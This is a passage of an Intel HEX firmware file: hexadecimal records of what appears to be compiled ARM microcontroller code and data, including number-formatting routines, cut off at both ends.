0D0094B1B8801932D\n:1060600021F00FFB07000FF0AFFC25000028EDD159\n:1060700021F007FB019BC01B8342F4D8A41BDFE780\n:10608000C42D00200022104B10491A600300123367\n:10609000FF3341185A701A7004338B42FAD1010051\n:1060A0000300002209310833FF311A709A705A70C8\n:1060B000DA7004338B42F8D1C3237F229B00C25491\n:1060C000034B044A1A607047F401002011030000DA\n:1060D00018000020710F0300F0B500267E24320066\n:1060E00031009300C318FF335F7C7F2F4CD09B7C23\n:1060F000F618F6B2531CDBB2EF2E2AD9C1267D2545\n:10610000B60086193700AC469C4516DA9B00C318CA\n:10611000FF3359749974D97419757D230232D2B240\n:10612000934211DA9300C318FF335C749974D974E5\n:10613000197500260132D2B2D3E73D68043FBD6035\n:1061400001256D42AC44DFE73568013B7560043ED4\n:10615000E6E77D2FEED80D4DEF5D01252F42E9D00A\n:10616000C1227D26920082189E4208DA9A00821887\n:10617000FF3254749174D17411751A00D9E71568FF\n:10618000013E5560043AEFE7F0BDC04654100300ED\n:1061900070B5002140250D4C8B00C318FF335A7C8D\n:1061A0007F2A11D0A25C0131C9B22A42F4D05A7DB3\n:1061B0007F2AF1D0A25C7F2AEED9DA7D56B2002E7A\n:1061C000EADD0132DA74E7E770BDC0460310030070\n:1061D0000300F7B500214C4A1333FF3382181970BE\n:1061E00004339A42FBD1FC239C4600258444634639\n:1061F0002A001B690093009B9D4207D37F234432F2\n:10620000920013540120FEBD0D00F4E76346DF68E1\n:106210007C5D602C01D9203CE4B2691C009EC9B2AF\n:1062200000238E4204D07B5C602B01D9203BDBB283\n:106230000026232C21D1303B092B02D9334B344A81\n:106240000CE00235E9B2009C8C420AD8FF2BF5D84D\n:10625000437053B2002BD7DA2C4B2E4A1A60002021\n:10626000D1E77C5C2500303D092DEFD80A256B4332\n:106270000131303BE318C9B2E5E7F7B20197264F89\n:10628000F75DA74211D1254FF75D2A2F0DD0BB42F4\n:106290000BD193000199C318FF335974417801322F\n:1062A00002351975D2B2E9B2D3E70136512EE4D1E5\n:1062B00000231A4D5E5DDFB22A2E0CD1164E9E5D74\n:1062C000A64208D19300C318FF335F7444780132AB\n:1062D0001C75D2B2BDE70133512BEBD1104D493BB8\n:1062E0002E7AA64208D0013D002B02D1074B0D4A61\n:1062F000B4E7013BDBB2F3E7002BF7D014004334E3\n:10630000A4000419A370A4E71203000018000020E1\n:10631000860F0300740F0300421103009311030062\n:10632000E4110300940F030010B51130084A094925\n:10633000FF3003787F2B00D110BD02240457002CBE\n:1063400003DCCB5C43700430F3E7D35CFAE7C04670\n:10635000F2100300A2100300F0B50023070085B07F\n:106360009E00BE193100FF314A7C9C467F2A01D134\n:1063700005B0F0BD4F4B02209C5C63460133DBB29D\n:106380000442EDD0012560462C4242D15419E0B2BE\n:10639000009049487C35801840780190C87C097D80\n:1063A00002900391C1218900791808009D4226DAE4\n:1063B0009B000098FB18FF3358740198941C987444\n:1063C0000298E4B2D874039818753B486346821863\n:1063D0003000FF309578027D023300927D22C67C2A\n:1063E000DBB29A4210DA9B00FB18FF335C749D7499\n:1063F000DE74009A1A7563460333DBB2B0E70468B3\n:10640000013D44600438D1E70868013A4860043926\n:10641000E7E70130C0B2010044318900C95D0029BD\n:10642000F7D07F2908D008242248405C204297D129\n:106430002439012900D893E73000511CC9B20091DA\n:106440001D49FF30891849787D250191C17C029151\n:10645000017D0391C121890079180C009D421FDA4A\n:106460009B00009CFB18FF335C74019C124D9C74D4\n:10647000029CDC74039C1C75941CAA1863469678D5\n:10648000027D023300927D22C57CDBB2E4B29A42E7\n:106490000BDA9B00FB18FF335C749E74DD74A8E775\n:1064A0002668013D6660043CD8E70868013A486008\n:1064B0000439ECE703100300A2100300F7B5002233\n:1064C0009300C318FF335C7C002C03D10132D1B29E\n:1064D0000A00F5E77F2C00D125E1102692490D5DD9\n:1064E000511CC9B2354215D14E2C3BD118220D2476\n:1064F000DD7C5C741E7DC1239B00C31870348C420C\n:1065000036DA8B00C318FF335A740022DD749A7494\n:106510001E75DDE7DC7CAD06ED0FA4462C00C12521\n:106520007D261434AD001F7D019445198E4214DA86\n:106530008D00019C4519FF356C740024AC746446D1\n:106540002F75EC745C7C352C00D0AEE05A7B774C18\n:10655000A25C5207BCD5102278E02C68013E6C602A\n:10656000043DE3E74F2C08D11B22C0E71C22BEE705\n:106570001F68013C5F60043BC1E7502CF6D06DB250\n:10658000002D2BDADD7C002D28D00D004435AD0028\n:106590002D5C002D22D1961CF5B20195AD00451958\n:1065A000FF356F7C7F2F19D05F4EF75D7F2F15D998\n:1065B000EF7C002F12D0C1237D229B00C318019CC9\n:1065C000944206DD1F236B740023AB74EB742B75B0\n:1065D0007EE71C68013A5C60043BF0E7172C09D0A9\n:1065E000182C35D15A7B504CA25C7F2A00D86FE71B\n:1065F00013222BE05C7B013AD2B2452C1CD11B3C10\n:106600005C7315004335AD00474C2D5C655D7F2DF7\n:1066100000D85DE70132D2B292008218FF32557C79\n:10662000002D76D0645D7F2C00D851E7D27C002A03\n:1066300000D04DE71E3209E0392C01D10D3CDFE7D7\n:10664000394A125D7F2A00D842E712225A743FE786\n:10665000202C05D15A7B3C2A00D039E7163AF5E7C1\n:10666000482C15D15C7D7F2C02D14B245C7403E057\n:106670002D4D2C5DA406F8D55C7C2B4D2D5DED07D2\n:1066800000D45FE75D7B202D3CD10C3C5C741FE7A0\n:106690003C2CF1D15A7D7F2A00D119E7224CA25C13\n:1066A000920600D514E73F22D0E72A2C16D1DA7CD7\n:1066B0001C7DC1237D259B00C3188D4209DA2B2543\n:1066C0008B00C318FF335D740025DA749D741C754C\n:1066D000FEE61E68013D5E60043BEEE72C2C11D106\n:1066E000DA7C1C7DC1237D259B00C3188D4204DA12\n:1066F0008B00C318FF332D25E5E71E68013D5E6062\n:10670000043BF3E7452C00D17BE7392C00D0DFE6D2\n:1067100077E7527D7F2A00D1DAE6A25C7F2A00D893\n:10672000D6E61E2292E7F7BD0310030054100300C3\n:10673000F7B500240090E3B24433009A9B009B5CC1\n:10674000E5B27F2B32D0574EF35CDB072CD56A1EA7\n:10675000D2B2009B443292009A182B00524F013B58\n:10676000DBB2002B23D011787F2903D0795C043A67\n:106770007F29F4D900999A008A18FF32517C7F2929\n:106780000ED02027705C384204D04748415C04207A\n:10679000014205D0917C48088446013161449174DE\n:1067A0000133DBB29D42E5D10134C4E70023022668\n:1067B0000DE07B0705D4FB0708D5937CD9085B1A4D\n:1067C0002FE08B7B9A080133D3188B73019B009ABF\n:1067D000990051180A00FF32557C7F2D60D0324C51\n:1067E000581C675DC0B2019078B200281BDA01998D\n:1067F000009889004118FF314D7C7F2DE6D0402064\n:10680000675D0742D5D1123D012DDFD80233DBB2DF\n:10681000443300999B005B5CE35C0342D6D0937CDD\n:10682000013B9374D2E71F48455D082005420FD015\n:10683000019B009A9B00D318FF335A7C7F2AC5D056\n:10684000A25C3242C2D006229A7405229A73BDE736\n:1068500037421BD00133DBB21A0000984432920059\n:10686000125C002AF6D07F2AB0D00F4CA25C3242D4\n:10687000ACD09B00C318FF339A7CFF315208013221\n:106880009A748B7C5B0801338B749FE710231D4245\n:106890009CD0537BE35C334298D0937C023BC0E7AF\n:1068A000F7BDC046541003000310030070B5040088\n:1068B000FFF7E8FB2000FFF78BFC23000022FC33EE\n:1068C000DA601A61904226D02500224E11353368D5\n:1068D000FF35934203D029001F48FEF7F3F920004B\n:1068E000FFF7ECFD2000FFF753FC2000FFF71CFD35\n:1068F0002000FFF71DFF2000FFF72EFDC4222B0014\n:106900009200A1181A78502A06D97F2A07D00020B1\n:10691000124B134A1A6070BD04338B42F2D13368B4\n:10692000002B02D00F481AF075FC2000FFF7D4FBB3\n:106930003368002B03D029000B48FEF7C3F9200071\n:106940001CF0F3F8054B0949186822F08AFE43420F\n:106950005841E0E7FC010020AB0F030018000020C5\n:10696000BA0F0300E00F0300F00F0300710F0300E4\n:1069700080235B051869034B1B7843438020C002CA\n:10698000C01A7047D52D002080235B051869034B82\n:106990001B7843438020C002C01A7047D62D0020C8\n:1069A00070B5084DC4012B68002118191BF08DFC2F\n:1069B0002868054B00197F3000781B788342F0D29D\n:1069C00070BDC046F8010020D42D002010B5C37959\n:1069D0000400002B08D0064A037981791068DB0196\n:1069E000C01801301BF071FC0023237210BDC0469B\n:1069F000F801002010B5124B01001A684379DB0141\n:106A0000D31818007F300478FF2C08D10879C00112\n:106A100012185278FF2A0FD0887990420CD08A79C8\n:106A20009B180132D2B258787E2A01D08A7110BDEB\n:106A300000234C718B71FAE701204042F7E7C04612\n:106A4000F801002070B5F8248025A40223786D0594\n:106A50004D2B4CD12B698020E41A2B69C002E41A1B\n:106A60002969001B13F018FF2B4B2C4918702B6958\n:106A7000E21852185D421540294B2A4A9B1A2A4AAD\n:106A80009B188022520511699D4234D38020C00298\n:106A9000401B13F001FF254B641B1870E411244BBD\n:106AA000E4B21C70A12001230025224A2249136070\n:106AB000C0004D604B68002BFCD01358DBB2A342E2\n:106AC000F7D21E4901330B7001235360FFF750FFCB\n:106AD000037805001A4CFD2B0FD180235B05186944\n:106AE000184BC009C018C0012818206070BD802450\n:106AF0002B69E402AFE76D18C5E7FFF745FF0378A0\n:106B0000803DFD2B01D12560F0E7FFF73DFFFD2122\n:106B10001BF0DBFBF7E7C046D62D0020FF87FFFF09\n:106B20001801002000000020D8900300D52D00207F\n:106B3000D42D002000D00040FCD00040D72D0020F4\n:106B4000F8010020FFFFFF01F7B5254B254F1A780C\n:106B5000254B14001B7839680133E001405CFF28A5\n:106B600029D00134E4B29C4200D101249442F4D1F2\n:106B7000802300265B051B69DB090193E301009379\n:106B80003B68E2019D182B7828005A425341F618C1\n:106B90001BF0B1FB002810D0002304E0DA01AA5C4E\n:106BA000002A0AD10133019A9342F7D13868009B39\n:106BB000C0181BF096FB2000FEBD0B4B01341B7868\n:106BC000E4B201339C4200D10124054B1B78A3425F\n:106BD000D4D1072E02D91BF0D4FFB6E7FF24EAE791\n:106BE000D72D0020F8010020D42D0020F7B5070094\n:106BF0000D0001240E4B1B7801930E4B1E68019B68\n:106C0000A34202D2FF242000FEBDE10171180B78DF\n:106C1000FE2B09D18B78AB4206D103312A00380014\n:106C200022F0ABFC0028EED00134E4B2E7E7C04626\n:106C3000D42D0020F801002010B5054A0379106812\n:106C4000DB01C01881780022033002F04BF910BD3F\n:106C5000F8010020F0B585B002900D0016000393F6\n:106C6000782947D8FFF7C2FF0400002E3CD0FF2848\n:106C700001D0FFF795FEFFF767FF0400FF2803D15F\n:106C80001D491E481BF0DEF81D4FC0013B680190F6\n:106C9000FE2118181BF019FB3B68019AE9B29818FD\n:106CA00002301BF012FB3868019B2A00C018033029\n:106CB0000299FDF727FC0C201BF075F903990300DE\n:106CC000104A002900D0104A1A600D4A1C7112683F\n:106CD0005C71E4011419A278DE7102329A7101220A\n:106CE0001A72039A5A7202E03300FF28E3D11800A7\n:106CF00005B0F0BD0023FAE7ED110300F0A4020097\n:106D0000F80100201CB6020070B5020007B501A909\n:106D100002F03CFD0199FFF769FFFF2803D1044908\n:106D200004481BF08FF8FFF73BFE03480EBDC0463A\n:106D300020120300F0A4020024DD0200F7B5019246\n:106D4000027A04000091002A02D12448FAF79AFA44\n:106D5000C579002D06D1224A17680279D201D25D89\n:106D6000002A05D1092201251A606D422800FEBDC6\n:106D700061797E22C901791808007F30A3790078F3\n:106D8000D21AFF2809D12079C00138184078FF288D\n:106D900019D0C01A824200D902000198461B9642BF\n:106DA00000D91600002EE1D0009A01335019C918FD\n:106DB000320022F0F0FBA3799B19DBB27E2B04D0CA\n:106DC000A371AD19D4E70022E7E70023A37163792B\n:106DD000DB01FB187F331B786371F2E703120300BA\n:106DE000F8010020F0B585B00393037A0400029106\n:106DF0000192002B02D13048FAF744FAC379002BF4\n:106E000008D02E4A03791268DB019B5C019A00923C\n:106E1000002B25D10923039A13600A3B01930198A3\n:106E200005B0F0BD7E22A379D71A009A974200D907\n:106E300017006079214E0133C001C01833683A0051\n:106E400018180299FDF75EFBA379DB19DBB27E2BE4\n:106E50000AD0A371029BDB190293009BDB1B0093FA\n:106E6000009B002BDED1DAE70023A371FFF76CFE55\n:106E70000500FF2809D12079FFF792FD0023237236\n:106E80001C23039A13601D3BC8E760793368C00177\n:106E9000181829007F301BF018FA3368ED015819D3\n:106EA00061791BF012FA62793368D2019B187F3343\n:106EB0001B786371CEE7C04603120300F80100207F\n:106EC000002170B508001CF0B3FC012405000C4B38\n:106ED0001B78A34201D2280070BD0A4AE301106862\n:106EE000C0180378FE2B08D181780022033001F00E\n:106EF000F9FF0100280004F0E9FB0134E4B2E6E701\n:106F0000D42D0020F801002073B501A902F03EFC49\n:106F10000199FFF76BFEFF2803D10E490E481AF0C6\n:106F200091FF00257E260D4B1C68C301E31859789C\n:106F30009B780233DBB2C201A2187F321078FF289F\n:106F400004D1C81A40191BF099FD76BDF31AED184B\n:106F50000023F0E720120300F0A40200F801002053\n:106F60001FB5034A034B20F080FC05B000BDC046AE\n:106F7000F5690000CD69000010B505F089FD0549EF\n:106F800014F0D0FA0323020002209A43024B10436C\n:106F9000C01810BDE02E65420000808010B505F0DD\n:106FA00077FD054914F0BEFA0323020002209A433C\n:106FB000024B1043C01810BD35FA8E3C0000808093\n:106FC00010B505F065FD011C14F066FD024B0028AC\n:106FD00000D1024B180010BDB4AD0200ACAD0200F0\n:106FE00010B505F055FD440064080849201C14F054\n:106FF00053FD002805D10549201C13F027FE002869\n:1070000001D0034810BD0348FCE7C046FFFF7F7F67\n:10701000ACAD0200B4AD020010B505F039FD034B74\n:10702000034002201843024BC01810BDFCFFFF7F35\n:107030000000808010B505F02BFD4400640808496D\n:10704000201C14F029FD002807D10549201C13F04D\n:10705000F3FD002801D1034810BD0348FCE7C046FA\n:10706000FFFF7F7FB4AD0200ACAD02001FB500236F\n:10707000019305F00DFD01A916F0EAFE03220300BD\n:1070800002209343064903435B180293019B9343F9\n:1070900003435B1802A903930BF02CFD05B000BD60\n:1070A0000000808070B50D0005F0F2FC041C280083\n:1070B00005F0EEFC14F006FD0100201C16F0A4FE05\n:1070C0000323020002209A43014B1043C01870BDF5\n:1070D000000080801FB50023019305F0D9FC01A9B1\n:1070E00016F06AFE032302249843074B2043C0187E\n:1070F000029001981BF0C2FC02A9039020000BF043\n:10710000F9FC04B010BDC0460000808070B50D00D1\n:1071100005F0BEFC041C280005F0BAFC011C201C74\n:1071200017F094F80323020002209A43014B104306\n:10713000C01870BD0000808070B50D0005F0A8FC7F\n:10714000041C280005F0A4FCC00FC3076000400821\n:107150001843032302249843014B2043C01870BDF9\n:107160000000808070B50D0005F092FC041C280022\n:1071700005F08EFC011C201C17F034F803230200DC\n:1071800002209A43014B1043C01870BD000080805C\n:1071900010B505F07DFC16F033FC0323020002203D\n:1071A0009A43024B1043C01810BDC04600008080B7\n:1071B00010B505F06DFC16F0EDFF03230200022070\n:1071C0009A43024B1043C01810BDC0460000808097\n:1071D00010B505F05DFC16F0B5FF03230200022098\n:1071E0009A43024B1043C01810BDC0460000808077\n:1071F00010B505F04DFC16F03BFF03230200022002\n:107200009A43024B1043C01810BDC0460000808056\n:1072100010B505F03DFC16F0EDFE03230200022040\n:107220009A43024B1043C01810BDC0460000808036\n:1072300010B505F02DFC16F03BFD032302000220E3\n:107240009A43024B1043C01810BDC0460000808016\n:1072500010B505F01DFC16F0C9FF03230200022043\n:107260009A43024B1043C01810BDC04600008080F6\n:1072700070B50D0005F00CFC041C280005F008FC9E\n:10728000011C201C17F040F80323020002209A433F\n:10729000014B1043C01870BD0000808010B505F090\n:1072A000F7FB0021041C13F0BDFC002802D00748A6\n:1072B000F9F7E8FF201C17F0B5F8032302000220BD\n:1072C0009A43034B1043C01810BDC0462F12030051\n:1072D0000000808070B5060008680D0005F0D8FB3E\n:1072E0000021041C13F0A8FC002802D01848F9F76C\n:1072F000C9FF201C16F0D6FF041C012E06D1032363\n:1073000002209C432043134BC01870BD686805F0F1\n:10731000BFFB0021051C13F08FFC0028E6D1FE21E5\n:10732000281C890513F078FC002803D00A490B4873\n:107330001AF088FD281C16F0B5FF011C201C13F064\n:107340001BFF0323020002209A431043DBE7C046E1\n:107350002F120300000080809D0503000CA702008F\n:10736000C3790248002B00D101487047B4AD020038\n:10737000ACAD020010B5FFF729FB014810BDC046B7\n:1073800024DD020010B50868FFF720FB004810BD9F\n:1073900024DD020073B50D00022836D1012601A9B3\n:1073A000686802F0F3F976423400019BC318834207\n:1073B00012D101A9286802F0E9F9734273416242CF\n:1073C0006241DBB2D2B20199FFF744FC002820D120\n:1073D000104911481AF036FD0278722A01D0772A36\n:1073E00006D1611C0ED1723A544254410130DEE79D\n:1073F000622A01D0742A05D1711C03D1743A564215\n:107400005641F3E70548F9F73DFF0126764234007F\n:10741000CFE776BD20120300F0A402004112030062\n:1074200037B50400A068F9F76DFB019000280ED075\n:107430006568074B9D4205D001AB00220121280061\n:10744000F9F708FA05F0FCFB0028EBD001983EBDE7\n:1074500024DD0200C4600561466187614146C16167\n:107460004946016251464162594681626946C1629C\n:107470007146816000490847817400000020C046C1\n:10748000024B9A680260986000207047842E0020AA\n:10749000024B9A6812689A607047C046842E00209A\n:1074A0000E4A9368002B01D11FF076FF19685860CF\n:1074B0009160181CC468056946698769C169884676\n:1074C000016A8946416A8A46816A8B46C16A8D464D\n:1074D00081688E4601207047FEE7C046842E00205A\n:1074E00070B505000C200C001AF05DFD024B4560E4\n:1074F0000360846070BDC046B0B6020010B50400E1\n:107500001FF0D0FF1FF03BFF01280BD006492000E1\n:107510001FF0E3FF20001FF0C5FF1FF030FF02281F\n:1075200000D0002010BDC0468A120300F0B59DB007\n:1075300000AF0C68032835D9CB68FB60042835D030\n:107540000D6900206D102BD41C232000F91802F0C7\n:107550001DF97861002D59D0954C9649606809F065\n:1075600039F8060060680022934904300FF020F9D2\n:107570001823FA18D1180400300002F007F93B6B09\n:10758000013D0100C318002C05D1994203D2013BF3\n:107590001A782E2AF9D1013D0ED299420FD187488F\n:1075A000F9F770FE864B0025FB60CDE70025CBE7A1\n:1075B000013B1A782E2AEED09942F9D3EBE7FE6907\n:1075C0005C1A2500002E01D0751C2D196A46EB1D92\n:1075D000DB08DB00D31A9D46220018003B6121F036\n:1075E000DAFF002E08D02E233A69601C13551018BC\n:1075F0007969320021F0CFFF290038690EF078F860\n:1076000006243B69C0000443FD617B61200001F05A\n:107610008BFCFEF7C1FA061E15D02E21786922F0E8\n:1076200012F800280BD0664BFA689A4207D17B69A2\n:10763000C11A18000EF05CF8FEF7AEFA0600300032\n:10764000BD461DB0F0BD182318000125FA18D21848\n:107650003818103B4021C0181FF0EFFEBE603E619D\n:10766000FB69AB4205D2564BFA689A42E7D0BE6836\n:10767000E5E7AB4204D07B695B5D2E2B00D094E044\n:10768000290078690EF034F87B6A3860002B17D136\n:107690002A00082479691833F81800191FF098FE99\n:1076A0001823FB181819FFF729FF78607B68002B57\n:1076B00014D13A6843494448FAF7B2FFFFF7F0FEA5\n:1076C00018230824FA182F2110190DF025FF3B6903\n:1076D0003969EA1A7B6959181823DDE73868FEF71B\n:1076E0005BFA041E4BD13868FEF724FAFB690400EC\n:1076F000AB4213D1354BFA689A420FD17B68012B0C\n:107700000FD0334A2B4940681DF0E1FC18220823B2\n:10771000BA18D11820001BF04CFB30E07B68012B1D\n:10772000F4D10022796AB86A01F0DCFBF42102008E\n:10773000FF312000F9F760F97B6A18227B6008238B\n:10774000B818C0182F210DF0E7FE18220823B8182A\n:10775000C01820491FF0C1FE18220823BA18D018FB\n:107760001FF0A0FE1FF00BFE022806D118220823EE\n:10777000BA18D11820001BF01CFB7B687B62BB6829\n:10778000002B0CD07A693B699446E91A63441800CF\n:107790000DF0AEFF22000100B868F9F72DF9002EB8\n:1077A00000D126006B1C3B61BC60013558E7C04628\n:1077B000842E0020860F00009E0F00004E12030052\n:1077C00024DD02006D120300D4A20200ACAD020061\n:1077D000760F000082120300F0B587B00392059186\n:1077E0000D9A03990500521A0CA9097820200C0063\n:1077F000844339D030293BD00CA902910121802447\n:1078000001911C4036D0D40FA4186410171B002C13\n:1078100037DD2600019B0493B34200DD04966B68BC\n:10782000049A029928689847049BF61A002EF1DC06\n:10783000039B002B06D01A0005996B6828689847AF\n:10784000039BE418002F0CDDE419019EBE4200DD0D\n:107850003E003200029928686B689847BF1B002FD2\n:10786000F3DC200007B0F0BD074902911021C6E704\n:107870000649FAE701271F4001D11400C7E71700A6\n:10788000D6E70024D4E7C046A0120300B1120300DB\n:10789000F0B593B01E0018AB20CB04901B780C0001\n:1078A00017000793CB070BD48B0703D1814B0A68D2\n:1078B0009A4205D0200005F085F8012440000443D9\n:1078C00081231D4209D1079B302B06D11A9B1B9A9D\n:1078D000934200DA1A9200231B9320001BF0ABF8AE\n:1078E0000AAB002806DBAA070FD52B221A70192332\n:1078F00004AA9B18F2B2E90614D5022F09D130214F\n:107900001970511C597002330CE06A07F2D520221D\n:10791000ECE7082F00D0B3E030211970A90500D59D\n:10792000ABE0013300210AA819701B1A05930B0064\n:10793000A90600D52C330EA90B9110210C91002122\n:107940001B980D91012801DD40200543172604A84E\n:10795000361840202840317006900393029200D1DF\n:1079600096E00191009723000DAA0CA90BA807F03F\n:10797000FDFD037807002D2B04D133700D9B0137DB\n:10798000013B0D931B9B012B00DC8FE00D9B1B9C8F\n:107990009C4200DA1C00069B002B08D0172304AA87\n:1079A0009B181B785A1E9341E418059BE4181A9BF8\n:1079B000A34200DC77E0012300261A9A2B40141B17\n:1079C000B34201D126001C0001239D432F330793AE\n:1079D000002E09D0103B0093002301961A0036496F\n:1079E0000498FFF7F9FE0600069B002B21D0172113\n:1079F00004ABC9180B78002B0AD000230122009396\n:107A000001920498FFF7E8FE1A9B3618013B1A937F\n:107A1000059B002B0DD0012301930023059A0093B1\n:107A20000AA90498FFF7D8FE1A9B059A36189B1AE4\n:107A30001A931B9B012B00DD1A931A9B0D9A01933D\n:107A4000079B3900009304982B00FFF7C5FE3618FA\n:107A5000002C09D020230093002301941A0016491A\n:107A60000498FFF7B9FE36180B980EAB984201D078\n:107A70001AF0C8FA300013B0F0BD11000E3141E722\n:107A8000102F00D04EE7302119701100173139E75F\n:107A90000AAB0193009723000DAA0CA90BA807F0CD\n:107AA00065FD07006EE7002426008DE70024260010\n:107AB0009AE7C04604C60200C3120300F0B50700EF\n:107AC000140000268DB00D002B78002B01D0252B43\n:107AD0001DD1A94208D26B1A05931A0038687B6839\n:107AE00098472900059BF6180B78002B00D123E15D\n:107AF0004B1C0593202300253022082104200993E4\n:107B0000059B1B78002B04D107930A2123E0013544\n:107B1000DAE72D2B05D12C3B1D43059B0133059343\n:107B2000EEE72B2B01D1293BF6E7202B01D10543B2\n:107B3000F3E7212B01D10D43EFE7302B2CD110338C\n:107B40001D430992E9E7079A4A43D318303B07934C\n:107B5000059B01330593059B1B781A00303A092ACF\n:107B6000F1D92E2B43D1059B5B782A2B16D0059B90\n:107B70000A210133059300230893059B1B781A0003\n:107B8000303A092A14D8089A4A43D318303B08934C\n:107B9000059B01330593F0E70023B5E7059B02330E\n:107BA000059308CC0893DB43089ADB171A40089228\n:107BB000059B1B786C3B5A425341059AD318059399\n:107BC0001B780693002B00D1B6E0642B00D192E025\n:107BD00020D8502B26D00ED8453B022B00D898E059\n:107BE0000122059938687B68984701364BE00123EC\n:107BF0005B420893DCE7069B622B36D04ED8582BAD\n:107C0000EED1079B01950393099B029341230093B7\n:107C1000313B6EE0069B712B4AD00CD8672B78D98C\n:107C2000702BDDD1079B01950393099B0293612380\n:107C30000093513B5DE0069B752B52D0782BF1D021\n:107C4000732BCDD108CC0693002B42D0089B013377\n:107C500003D1069821F00FFD0890079B089A019325\n:107C6000099B069900932B0009E008CC002B0DD04E\n:107C7000079B04220193099B314900932B00380094\n:107C8000FFF7AAFD3618059901311CE7079B05226D\n:107C90000193099B2B4900932B00F0E708CC0BA91B\n:107CA0000B70079B01220193099B00932B00E6E7D1\n:107CB0000BA901CC1FF0A7FC089B0100013301D1E7\n:107CC0000B9B0893079B089A0193099B00932B0039\n:107CD000D5E7079B06220193099B1B4900932B00C4\n:107CE000CDE7079B01950393099B029361230093C2\n:107CF000573B002208E0079B01220393099B019553\n:107D0000029361230093573B02CC38001BF0AEF87E\n:107D1000B8E7072307349C4303CC15F0BFFD089B4D\n:107D2000011C0293079B069A0193099B380000935C\n:107D30002B001BF005F9A5E730000DB0F0BDC046E3\n:107D40008E1203009312030099120300F0B58BB05A\n:107D5000089310AB10CB019006911B78062A12D81D\n:107D6000012A08D93F230B700B000133069300232F\n:107D700006990B7001E0002AF9D101259542AD4129\n:107D800068420BB0F0BD019900292DDA069B0699D7\n:107D90005D1C2D230B70802109068C46019B6344DA\n:107DA0000193069BFF21E81A131A019A049310000D\n:107DB000013BC905059308402023884221D14E216B\n:107DC000089AE81C1A4013001143019A570212D175\n:107DD00049225A402A70462253406970AB700023F2\n:107DE000EB70069BC01ACCE7069D002BD9D029006A\n:107DF00001350B70D5E74124634029706B70A97081\n:107E0000EDE7002C00DA062408991943029167294E\n:107E10003DD1002C00D1D8E1002A79D0A74B9A425D\n:107E200000D9D8E0A649019812F01AFF0026431E97\n:107E3000984120233700303007900393A14B0199DC\n:107E4000F05812F003FF002807D0039B0198FF1899\n:107E50009D4BF15813F066FB0190039B04365B10B9\n:107E60000393182EEAD12D23019A0393934B934247\n:107E700065D39349019812F0F3FE002859D0002FE2\n:107E800001D12B230393FE239B05019357E0002A86\n:107E9000C4D1029B662B3BD1059A631C934201DB44\n:107EA000049C033C029B661C049300231F00039365\n:107EB0000593E343DB171C40049B652B00D0F3E0E4\n:107EC000661C059B0793059B079A9B1A9E4250DDF3\n:107ED000019813F0F7FD6B1C0993030030332B70EE\n:107EE000079B002B05D1002C03D0AB1C09932E233C\n:107EF0006B7013F007FE011C019813F029FC734905\n:107F000013F010FB079B0190013B0793099DDAE7F3\n:107F1000059A631D934201DB049C073C029B652B81\n:107F200000D0B2E0002604933A3B03930596370055\n:107F3000BFE70198654913F0F5FA01370190029BFC\n:107F4000662B03D0672B38D1042F36DC079B2B70B0\n:107F5000029B672B01D17B1EE418059A631C934298\n:107F600001DB049C033C002C12D1662301350493F1\n:107F70000394029B662B00D0AEE0012F00DDE4E00D\n:107F80005349019812F06CFE002800D1DDE0A9E011\n:107F90002E23260030226B70AB1C013F1D00002FEA\n:107FA00078D0002E05D1039601235B4205936733F9\n:107FB00069E01A70013E0133EFE7049B063BA342E0\n:107FC0006DDC029A672A67D01300049C073C0026E8\n:107FD000049305966DE700262023370003933A4B60\n:107FE0000199F05812F028FE002807D0039B019851\n:107FF000FF18344BF15813F095FA0190039B0436A7\n:108000005B100393182EEAD13049019812F028FE34\n:10801000002805D001982F4913F084FA0137019008\n:10802000029B662B0DD1059B9F420EDA3B19059AE8\n:108030000133934221DBD41B023C631C1DD100247D\n:108040001BE0029B652B00D0B6E0049B063BA342DD\n:1080500001DC049C073C2B230026039305963A334E\n:1080600011E0059A231D934201DB049C063C029B10\n:10807000A74200DBA4E07B1CE41A00233E19039313\n:10808000013605976633049313E70026029B039697\n:1080900004934BE7039787E71C00029B97E70026B2\n:1080A000029B0596049307E7049B672B00D008E723\n:1080B000261E00D005E70126340002E7FFFF7F3FC0\n:1080C000F8FF7F3F3CB7020054B702000000204198\n:1080D0000000A040CDCCCC3D3D49019812F0C0FD40\n:1080E000002823D03020691E0A780B002E2A4ED09B\n:1080F0001600303E092E4CD901331A78302A15D19A\n:1081000059782E2952D1049866284FD05A70039A74\n:1081100019702D2A48D1013F002F01D1023A039254\n:108120002A00511E934243D331221A70029B672BBF\n:108130000BD1002C09D06A1E551C013A5378302B04\n:10814000FAD02E3B5A425341ED1A039B002B19D013\n:108150002022089B0A2113401A00452313432B7049\n:10816000039B38006B7012F021FC0A2112F004FD11\n:108170003031A97038000A2112F0FEFC2C1D30317C\n:10818000E970250000232B70069BE81AF9E50139F8\n:10819000AAE7392A02D001320A70AEE7069A0870BF\n:1081A0008A42F4D11300A8E70137B9E70135B7E7F0\n:1081B0000A784A700A00B4E7029B672B00D150E7A7\n:1081C00004932B230026039303E7012424E6C046EF\n:1081D0000000A0400023F0B52F4E93B0050006A884\n:1081E0001400336001910127FFF734F92740031E83\n:1081F00035D1E2062DD56A68A96811201FF072FBFF\n:1082000005002E6829000125019A03A8FDF736FA1A\n:10821000A3082B400022310003A80AF067FA0400EB\n:108220000320FCF759F9200019F0C1FD012040425C\n:10823000FCF752F92C00FFF72BF9002F24D029006E\n:1082400016480DF0E5FB3C00012114480DF0E0FB61\n:108250001AE0A306D5D528001AF0E5FCD0E70120E6\n:108260004042FCF739F9002F03D001210B480DF0F3\n:10827000CFFB079804F0C2FA094900F0C1FC041EC4\n:1082800005D03468002FDFD1200013B0F0BD07996E\n:10829000044804F0EFFAF5E700020020C2120300E0\n:1082A0001CA6020034B7020010B586B0202102A837\n:1082B00080241FF0A9F864001E481FF0BDF90023B8\n:1082C0001D4803931FF0B8F90DF08AFB0128F3D085\n:1082D00002280BD119481FF0AFF902A81FF0B6F819\n:1082E00001220020164B1A7006B010BD032802D1DF\n:1082F00000230393E8E7042804D0C1B202A81FF0CA\n:10830000E3F8E1E70F481FF097F9039B0193002B77\n:1083100008D10A481FF090F902A81FF097F88020B2\n:108320004000E1E71122012102A8FFF753FF20429C\n:10833000C5D0D9E77C130300D1140300CA0D030094\n:10834000E9000020710F030030B587B0202102A89A\n:1083500080251FF059F86D0037481FF06DF9374838\n:108360001FF06AF90024364902A8039419F0A5FE0B\n:1083700001280AD133481FF05FF902A81FF066F800\n:108380002000314B1C7007B030BD022803D12D48AE\n:108390001FF052F9E0E7032801D12A48E0E704285A\n:1083A00008D128481FF048F902A81FF04FF8802094\n:1083B0004000E8